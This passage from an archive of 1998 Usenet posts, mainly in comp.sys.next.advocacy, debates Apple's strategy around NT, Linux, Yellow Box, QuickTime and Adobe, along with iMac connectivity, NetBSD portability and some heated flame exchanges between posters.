>making the transition to NT easy by providing the tools to make NT a viable
>platform (whereas it wouldn't be otherwise) escapes me.
You make the transition to NT easy _only_ to retain them as buyers of
Apple tech (QT et al). That then gives Apple a platform to pitch their
hardware in the future. If they migrate to NT and dump QT at the same
time, Apple's job of getting them back is much harder.
Of course, Apple should make it much, much easier to stay with Apple
hardware in the first place...
>I'd love to know how much money Apple has made/makes off NT. I bet it's
>minuscule, compared to what it has lost to it.
Certainly. But would not offering QT to NT have resulted in the same
thing, or perhaps worse - the market deciding that QT is not relevant any
more?
-Bob Cassidy
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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Organization: none
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<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
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<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
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<EyCzM2.6p8@T-FCN.Net> <35E5AD04.D6CAF635@ericsson.com>
Mime-Version: 1.0
Date: Fri, 28 Aug 1998 14:23:14 GMT
In <35E5AD04.D6CAF635@ericsson.com> Michael Peck wrote:
> I don't get your argument. Linux is more portable than OPENSTEP was;
How? The YB could be ported to anything that had real threads, that was
the only big sticky point. The OS itself has already been hosted on PPC, 68k
and Intel, and I see no reason to suspect that it would not be portable to
any of the other platforms OSF/1 existed on as well - namely alpha and MIPS
(later IIRC).
> presumably moving to Linux would be a gain in portability.
Over the NetBSD code they are using now? NetBSD is available
> portability is far from the only good reason to move Yellow Box atop
> Linux. Rather than selling Yellow Box with an operating system as an
> all-in-one package
Here I will not disagree with you. I believe YB on Linux would be a
_superb_ idea.
> "By far"? How many systems will NetBSD run that Linux won't?
Lots. From www.netbsd.org...
Alpha
Amiga
Acorn
Atari
HP9000
Intel
68k
68k MVE
PC532
DecStation (various MIPS chips)
All SPARC's
Sun 3 (original 68k's)
VAX
Sharp
Pica
BeBox
Sone NEWS
PMac
NeXT 68k
Linux runs on, from www.linux.org...
Atari 68k
68k VME
PPC
PMac
Intel
some SPARC
The Linux Lite (ELKS) also runs on...
Alpha
Amiga
some ARM
some MIPS
some SPARC
Maury
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 28 Aug 1998 15:12:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s6hd0$30u@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
On Fri, 28 Aug 1998 12:16:08 +1000,
Greg Alexander <galexand@ozemail.com.au> wrote:
>Shelton Garner wrote in message ...
>>Like I've said before--what if Apple went with Linux instead. Then it
>>could produce software that would run on both Mac and PC hardware
>>systems as well as grow as Linux grew.
They can do this now if they wanted to. Right now the priority is OSX
on the g3, after that it's anyones guess.
>I think it would be a great idea for Intel support.
>Sell a Mac GUI with YB and Quicktime on Linux. Add Carbon if they
>can.
But can they make money on it? Will Linux users be willing to pay $x or
more for it? (Where $x is line with Apple's 25% margins on hardware sales)
>Surely it'd be easier to do this on the BSDs though? (At least to start with).
Mach/BSD is just as portibly as Linux.
>I see this idea as quite independent of OpenMach. Good for Linux (more
>choice and another company giving it legitimacy) and good for Apple
>(no worries on hardware support, and making some money).
Personally, I think they should scrap MkLinux and replace the project with
MkBSD and use that as both their OpenSource system and the core of OSX.
It's not that I dislike Linux, I've run it since .9x kernels. I just like
the idea of Apple using it's own OpenSource system better. There is no
guaranty that Linux will develop in a way favorable to Apple. What if GGI
is added to the kernel and it causes problems? Or if it is optimized for
one type of SMP, and Apple uses another?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 28 Aug 1998 15:12:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s6hco$30u@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet> <6s3vk3$9qo@news1.panix.com> <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com>
On Fri, 28 Aug 1998 01:55:19 -0700,
Kevin Brown <kevin@sysexperts.com> wrote:
>Umm...in terms of performance for the price, NeXT hardware got blown
>away by Suns back then. Initially NeXT hardware might have been
>reasonably competitive but it didn't stay that way for long...
I'm pretty sure that if I dug up my old copy of Byte from that timeframe,
I'd be able to prove you wrong. At one point they compared a bunch of
Unix workstations, and while the NeXT was expensive, it was competitively
priced.
From: jpamer@best.com (Joseph Palmer)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 28 Aug 1998 15:20:37 GMT
Organization: What? Me worry?
Message-ID: <6s6hsj$nko$1@nntp2.ba.best.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35E431B1.C9E36442@brainlink.com> <6s4ets$ge9$1@nntp2.ba.best.com> <mteh-ya02408000R2808980138340001@news.earthlink.net>
In article <mteh-ya02408000R2808980138340001@news.earthlink.net>, mteh@earthlink.net (Oliver Ming-Teh Sun) wrote:
>
>Wow, that's pretty impressive.
>
>I hope you don't mind me asking, where has one of the 3Com originals gone
>off to these days?
>
Who me? [blush] <http://www.VideoS2.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
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Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com>
<6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
<6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net>
<35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net>
<35E5DE46.66B6062A@ericsson.com>
Mime-Version: 1.0
Date: Fri, 28 Aug 1998 14:31:32 GMT
In <35E5DE46.66B6062A@ericsson.com> Michael Peck wrote:
> Merriam-Webster's
>
> Main Entry: in´con´tro´vert´ible
> Pronunciation: (")in-"kÙn-tr&-'v&r-t&-b&l
> Function: adjective
> Date: 1646
> : not open to question : INDISPUTABLE <incontrovertible evidence>
> - in´con´tro´vert´ibly /-blE/ adverb
incontrovertible adj
syn POSITIVE 3, certain, incontestable, indisputable, indubitable,
uncontestable, undeniable, undisputable, unequivocal, unquestionable
By most of these George is correct.
> My personal first-hand experience is not open to question.
Yes it is. That's the entire basis of the courts system. See what I mean
about dumb posts?
> I didn't say anything about proof. Here, my mouth is open. Go ahead!
> Just put your words right in.
We'll leave that to you, you're doing such a great job of it lately.
Maury
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Interesting aspect..
Message-ID: <1998082811595800.HAA00531@ladder03.news.aol.com>
Date: 28 Aug 1998 11:59:58 GMT
Organization: AOL http://www.aol.com
References: <6s58qu$7k0@news1.panix.com>
Sal Denaro wrote
(in correction of my post):
>You don't even need to do this--just get a Mac modem cable and a PC serial
>laplink cable and then use communications software to move things between.
This won't work. The iMac has no Mac serial port, only USB ports.>>
My apologies for the incorrect information in my post. By way of explanation,
I'd assumed that Apple would've had the foresight to include an RS-422 adapter
and drivers.
One other bit of a question regarding the matter of connecting an iMac to
another machine using directly connected modems--does this require splicing in
a 9-volt battery or other power supply to convince the modems that they're on a
live wire? This used to be a requirement for connecting fax modems to fax
machines to use them as printers/scanners.
Again, mea culpa, my apologies, and thanks again to Sal for correcting me in
such a timely fashion.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Interesting aspect..
Date: 28 Aug 1998 15:12:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s6hcj$30u@news1.panix.com>
References: <6s58qu$7k0@news1.panix.com> <1998082811595800.HAA00531@ladder03.news.aol.com>
On 28 Aug 1998 11:59:58 GMT, WillAdams <willadams@aol.com> wrote:
>One other bit of a question regarding the matter of connecting an iMac to
>another machine using directly connected modems--does this require splicing in
>a 9-volt battery or other power supply to convince the modems that they're on a
>live wire? This used to be a requirement for connecting fax modems to fax
>machines to use them as printers/scanners.
I've never had to do that. It is often enough just to tell the modem to
"dial blind" and not expect a dial tone. (FWIW, I have only done this
with USR and Hayes modems. Cheaper modems might require that, YMMV)
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce
Subject: cmsg cancel <35e8578b.3@195.70.96.56>
Control: cancel <35e8578b.3@195.70.96.56>
Date: 29 Aug 1998 19:46:47 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.35e8578b.3@195.70.96.56>
Sender: xdokez@hotmail.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CONSUMER WARNING: do NOT purchase Apple products
Message-ID: <1998083007043900.DAA22105@ladder03.news.aol.com>
Date: 30 Aug 1998 07:04:39 GMT
Organization: AOL http://www.aol.com
References: <1998082823090300.TAA08013@ladder03.news.aol.com>
I am still angry at Apple and their terrible lack of support, but I am
completely amazed at the generosity and helpfulness of the Macintosh community.
After I posted my angry accounting of the nightmare of attempting to get
technical support from Apple, several dozen persons sent private messages that
included step by step procedures for solving all of the printing and scanning
problems.
The only remaining problem is the CD-ROM drive. Apparently, although Apple
refuses to offer any help with it, the local computer dealer might be willing
to replace it. I'll find out Monday morning.
I am overwhelmed at the spirit of support and help displayed by Mac users. I
am still angry at Apple, but extremely grateful for the helpfulness of Apple's
customers.
From: Proteus@Olympus.god (Proteus)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sat, 29 Aug 1998 23:11:16 GMT
Organization: MindSpring Enterprises
Message-ID: <35ff8a0c.88923274@news.mindspring.com>
References: <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net> <35DDD340.230E7E20@ericsson.com> <joe.ragosta-2108981917480001@elk120.dol.net> <35df2f1e.115007972@news.netdirect.net> <6rmua3$blb$1@camel25.mindspring.com>
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On Sun, 23 Aug 1998 01:17:53 -0400, "Doug Ivers"
<dliver@mindspring.com> wrote:
>If you think cars are significantly lighter and therefore less safe now buy
>a car magazine and check out the curb weight of todays cars. Mid size cars
>usually run 3100-3500 and large cars are still near 4000 pounds. The sport
>utility vehicles which account for a third of all new sales start around
>4000 pounds for the small ones and go up past 5500 for the large ones,
>making them the heaviest family vehicles of all time.
SUV's and pickup trucks (about 20 mpg) have different CAFE
standards than those of passenger cars (27.5 mpg).
SUV's and pickups are indeed heavy, but passenger cars are
definitely lighter than in the early 80's and before.
--
******************************************************
"What you do speaks so loud that I
cannot hear what you say."
Ralph Waldo Emerson
******************************************************
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Sun, 30 Aug 1998 01:34:08 +0000
Organization: BM
Message-ID: <6sanrp$8le$1@holly.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com>
<rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com>
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rr6013@yahoo.com wrote:
> and now clients
>run against the server. Choose your client Adobe, Quark but the hassle of
>the workspace printing, exchanging or performing a specific task is
>"server-side".
Indeed, Quark's Digital Asset Management and Adobe's server-based PDF workflow
app (which I believe will integrate K-2) aim exactly that: a la Office 2000 for
publishing.
Ziya Oz
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Message-ID: <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 29 Aug 1998 22:44:22 -0700
NNTP-Posting-Date: Sat, 29 Aug 1998 22:45:03 PDT
In article <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> They do... where's Rhapsody server w/SMP? What server strategy have they
> laid out? You only see consumer plans.
SMP is coming in Mac OS X (the full version, not Server). And OSX will be
an all-around OS, for use with normal consumers, servers, developers, you
name it. And on the hardware side, there's the PowerMac Pro line, which
should make nice server machines. And IIRC, Apple still has their Apple
Network Server line, though I recall something happening with that a while
back and I wasn't really paying attention, so it may be dead.
And as for you thinking about a "Publishing OS", I don't think that's what
Bob meant. And I think it's a bad idea, if I'm interpreting what you say
correctly (that is, an OS with publishing stuff all tied into it at the
system level). He meant, as I see it (and correct me if I'm wrong, Bob)
that Apple needs to get all the top-notch DTP apps tied back to the Mac in
mindset, by having them take full advantage of it (which Quark, Adobe, et
al aren't doing right now). So Apple's money is in the hardware, right?
And the Mac OS only runs on Apple's hardware. So if you can get Mac OS to
be the OS of choice for running DTP apps, by having them take full
advantage of things like AppleScript and (on the WWW front) WebObjects,
then more publishers will want to run Mac OS, which requires that they buy
Apple hardware. Which will lead to more marketshare and, hence, more
viability to the Mac as a platform, which could bring in more users from
other areas. Plus, if these publishers are already using Apple systems for
their work, guess what they're likely to turn to for other aspects, such
as a consumer and server setups.
The way I see it, Apple has tried various approaches to getting their
system in widespread usage. They got them in schools, hoping that the
children would grow up and want to use them in businesses. But that
failed, because the businesses were already IBM whores (or ex-IBM-whores)
and hence forced the kids - now adults - to use Wintel PCs at work, where
they got accustomed to them and when they went to get a home PC - yep,
Wintel again. Apple tried to get into the business market directly, but
the inertia which MS and Intel and all their vendors had gotten from IBM
was too much to overcome. So that failed immediately. They tried getting
to consumers directly with the Performa line, and got in there at the very
low end. But they lacked a mid-range system which wasn't as expensive at
the high-end PowerMacs, but was powerfull enough and expandable enough for
those whom the Performa line didn't fit. They've tried worming their way
into businesses and consumers simultaniously through various niches like
desktop publishing, and successfully got into some consumer setups and
some businesses, but only small segments of those. And they tried getting
into businesses through a server strategy, which would promote the use of
Mac clients in the office which would in turn influence the office workers
to get Macs for their home. But they lacked sufficient technology in the
right areas to compete with big unix servers, and recently NT.
But now, Apple's got the technology for a great server platform, and
hopefully they'll market the hell out of it. They've still got a decent
portion of the publishing niche, and discussions in this thread have lead
to ways of keeping and enlarging it. They've got a good and more
importantly *DISTINCT* and *MEMORABLE* low-end and education system, the
iMac, plus another eduation system coming in the "Consumer Portable".
They've got good mid-to-medium-high-end systems in the PowerMac G3s, with
even better high end systems on the way with the PowerMac Pro line.
They're attacking from all angles, and hopefully the combined niche
penetration into businesses and homes will total up to a signifigant
market segment, and if they can hold their target markets as well, they'll
have secured their position in the computing market.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 09:53:50 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com>
In article <35E5DE46.66B6062A@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> George Graves wrote:
>
> > Do you know what the term incontrovertible means? How about non-
> > contestable, or beyond possible reproach. Your evidence is neither
> > from simply the standpoint that people here are challenging the
> > quality of both your data and your conclusions. Not even a nice try.
>
> Merriam-Webster's
>
> Main Entry: in·con·tro·vert·ible
> Pronunciation: (")in-"kän-tr&-'v&r-t&-b&l
> Function: adjective
> Date: 1646
> : not open to question : INDISPUTABLE <incontrovertible evidence>
> - in·con·tro·vert·ibly /-blE/ adverb
>
> My personal first-hand experience is not open to question.
But it is NOT indisputable.
>
> > I don't. BUT, I would like to point out that just because people report
> > that they have seen, with their own eyes, flying saucers or angels does
> > not in any way prove either to be real.
>
> I didn't say anything about proof. Here, my mouth is open. Go ahead!
> Just put your words right in.
By saying that your information is incontrovertible, you imply that your
anecdotal evidence is above reproach, and indisputable proof of your
assertions. That's the implication of your wording. You don't have to use
the term "proof" for you to suggest that your experience is all the proof
you need.
I simply pointed out that personal, private observation, while not directly
refutable (who is to know what people who claim to have seen flying saucers
really saw), can be highly suspect just from the standpoint of logic. Is it
LIKELY that person A saw a flying saucer? Is it PROBABLE that person B saw
an angel?
George Graves
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 28 Aug 1998 10:05:51 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net>
In article <6s5knl$96$1@ash.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>>PDF and PS are some of the best reasons for buying Adobe - Quark would
>>never give them up. They are bottleneck technologies for the publishing
>>world.
>
>Is there anything Apple wants to but cannot with PDF or PS today (or MacOS X
>timeframe)? Why would they have to own them?
That's not the point. The point is that *everybody* in this market has to
deal with Adobe wrt PS and PDF. That includes MS, Quark, etc. Controlling
those two technologies (assuming they remain viable long term) is to
guarantee a certain market.
One smart thing for Apple to do would be to control technologies that
Windows is dependent on while working to ensure that MS does not make them
pointless. Then your future is tied to that of MS. That's why QT is key
for Apple. It does exactly that thing.
>>I can't see Apple weakening the Windows version either,
>
>Are you saying Apple would work with Intel to optimize Photoshop for MMX II or
>Merced thereby taking the opportunity from Jobs to do those demos of G3
>Photoshop bake off against PII 400 MHz at every show?
Apple _would_ be able to work with Intel to optimize for MMX but with
considerable resources coming to bear to optimize for Altivec, I imagine
the bake-off would still be a clear winner for Apple. He can even gloat
that Apple worked closely with Intel engineers to make it as fast as
possible - it just wasn't enough.
>Would Apple help Microsoft clean up font management on NT with ATM?
Examples abound.
I imagine they would. Apple will never upend NT in the near term, so they
might as well get as much money from the NT market as possible. This is a
company, not a religion. Think profits.
>>but I _can_ see Apple taking the unix versions
>
>SGI/Sun versions of Photoshop, for instance, are fairly pitiful ports to those
>Unix OSes and offer virtually no advantages over their MacOS versions.
But you could be sure that a Mac OS X Server version _would_ show
considerable advantages over the SGI/Sun versions and still run on unix.
>>A niche that MS would likely never be able to crack,
>>even with a Macromedia and Quark buyout - they'd still need to go to Apple
>>for PS, PDF, and QT.
>
>If Apple were to acquire Adobe -- and I'd be overjoyed at that -- I think it
>would be out of necessity (of Adobe falling into hostile hands) not strategy.
>Otherwise, how does one explain the Claris --> Filemaker Inc., business? (Final
>Cut being an anomaly here.)
Clearly it's both. If Apple lost Adobe to MS or to Corel (like _they_
could afford Adobe) or somebody else, then yes, Apple is seriously hosed.
But there are advantages to it as well. MS has made the case for
controlling multiple levels of your market - apps and OS. Apple goes one
further, apps, OS, hardware. If Apple could keep everything moving as one,
MS wouldn't stand a chance in that market.
>I'm still not convinced that the Windows versions would remain as is, unlesss
>Apple took a giant leap towards becoming a far, far more software-oriented
>company. I mean how does Apple go to a big ad agency and try to talk them
out of
>their NT migration in the short term?
Apple doesn't talk them out of it - they make it as easy to stay with
Apple products as possible and as easy as possible to get back into Apple
products. Apple would at the very least have the position 2 or 3 years
down the road to make a strong case for migration back. Apple can't stop
it now, and the direction things were going, they wouldn't have the case
in 3 years either.
-Bob Cassidy
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Fwd: EvangeList Digest V1 #1262
From: guess@it.spammer (Cybernaught)
Message-ID: <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>
References: <1defsc4.uzig3q12y8v3cN@pppsl910.chicagonet.net> <macghod-2708982236340001@sdn-ar-002casbarp139.dialsprint.net> <1dehyy2.1gd9lbb1uwfz7uN@pppsl847.chicagonet.net> <6sa8av$ste$1@nnrp1.dejanews.com> <macghod-2908981930370001@sdn-ar-001casbarp054.dialsprint.net> <1dejlo1.1ucpyxt1miqtlnN@pppsl915.chicagonet.net> <macghod-2908982205030001@sdn-ar-002casbarp325.dialsprint.net>
NNTP-Posting-Date: Sun, 30 Aug 1998 03:43:28 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 30 Aug 1998 02:42:39 -0600
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1dejlo1.1ucpyxt1miqtlnN@pppsl915.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > > In article <6sa8av$ste$1@nnrp1.dejanews.com>, datamagik@usa.net wrote:
>
>
> > >
> > > So what does "goad" mean? Does it mean "anyone who disagrees with a
> > > raving loony mac jihad who posts info that have no bearing on reality"?
> >
> >
> > It means that you think that you can post anything that you like, but
> > you have the gall to attempt to restrict what others post. Your own
> > posts most aptly fit the description of those that have no bearing on
> > reality, IMO.
>
> I could really care less what people post, as long as the dont go out and
> get anonymous accounts so they can spam the newsgroups.
You're not being honest here. You're finding reasons to place
restrictions on what is posted, which you don't apply to yourself. You
have posted PC price lists from an anonymous account. Mac advocacy
news posted to a Mac advocacy news group is not spam.
You didn't bother to answer why you cross-posted this to
comp.sys.next.advocacy, where it is off-topic clutter. It must be your
double standard on posting kicking in.
>
> > >
> > > > I noticed several weeks back that although he posts a Cupertino based
> > > > (concentric net) email address he posts from a state of Washington (near
> > > > Bill Gate's home turf) university town (I looked at his posting host
> > > > using WhatRoute).
> > >
> > > Ok, so according to the all knowing Jay Riley I live in washington state.
> >
> > I'd call it the state of confusion myself.
>
> I dont care what you call it, I do not nor have not ever lived in
> washington. That is just Jay being Clueless.
Traceroute is clueless too? Ha, ha. You're funny.
> And it is so grownup of you to deride a whole state.
You misunderstand. My remarks were not directed at the state of
Washington.
> > >
> > >
> > > >I'm starting to suspect (especially given his "oh I'm just another
> > > > Mac advocate"
> > >
> > > Nope, I like macs, but I am more interested in the truth than advocacy.
> >
> > Too bad your posts don't reflect that philosophy.
>
> And too bad when people have issue with what I say, a discussion occurs.
> Yet, you cant get past the 3 year old name calling. Basically all you do
> is name call, so Your opinion doesnt mean much. Strange how if I am just
> so constantly posting falsehoods you never seem to be able to catch any.
It was YOU who called ME an as_hole, not the other way around. Care to
list any names that I called you during this exchange or any other?
You've been calling me names, and now you're whining about being called
names! I've told you that the names and accusations that you applied
to me rightfully describe you, not me. I've just caught a boatload of
falsehoods in your one paragraph above, let alone all the other rants
you've posted.
>
> >
> > > And unfortunately their are alot of mac loonies here who.
> >
> > There you go again, throwing stones. Remember that glass house you
> > live in.
>
> A glass house? Sorry Anton, my house is made of wood. I would tell you
> what material I think your walls are covered with but some might accuse me
> of name calling :)
Yes, you might become guilty of repeating your previous shameful
behavior. You can't seem to decide what name you want to pick out for
me.
The glass walls are an analogy. People who live in glass houses
shouldn't throw stones. Think about that
MacGod/Macghod/Nextnewbie/Steve Sullivan, before you accuse others of a
multiple personality disorder.
>
>
> > > >all the while bashing the Mac, Apple, and anyone who favors
> > > > either) that he may be that same "macgod" that was taking the same
> tact last
> > > > year. "MacGod" was a disgruntled former Apple contractor
> (fired...gee wonder
> > > > why).
> > >
> > > Really? Thats news to me that I was fired. So according to the oh so
> > > smart one Jay riley, I live in washington state, was fired from apple, and
> > > imacs are faster than p2 400's.
> >
> > It sounds like he nailed you. That's why you have to end with an
> > unrelated topic that Jay didn't mention in this post.
>
>
> OH, he posts 3 things in that article which are all false, and you think
> he nailed me? I have never lived in washington, I was never fired from
> apple, and he has various times said imacs are faster than p2 400's, which
> only occurs in his dreams.
I said that he nailed you on the first two, and I asked why you threw in
the third. You mentioned the P2 400's, not Jay. Of course the reason
that you did it is obvious. You want to divert attention away from the
way that Jay nailed you.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 13:33:52 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E6F810.E4B8D01F@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com> <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
George Graves wrote:
> > My personal first-hand experience is not open to question.
>
> But it is NOT indisputable.
I don't know whether that's really applicable. You can't dispute that I
had the experience, and you can't really dispute whether the conclusions
I draw make sense from my point of view. I say that they are
incontrovertible because they are subjective, but perhaps that's just
oxymoronic.
The best way to resolve it is to say that my opinions are as valid as
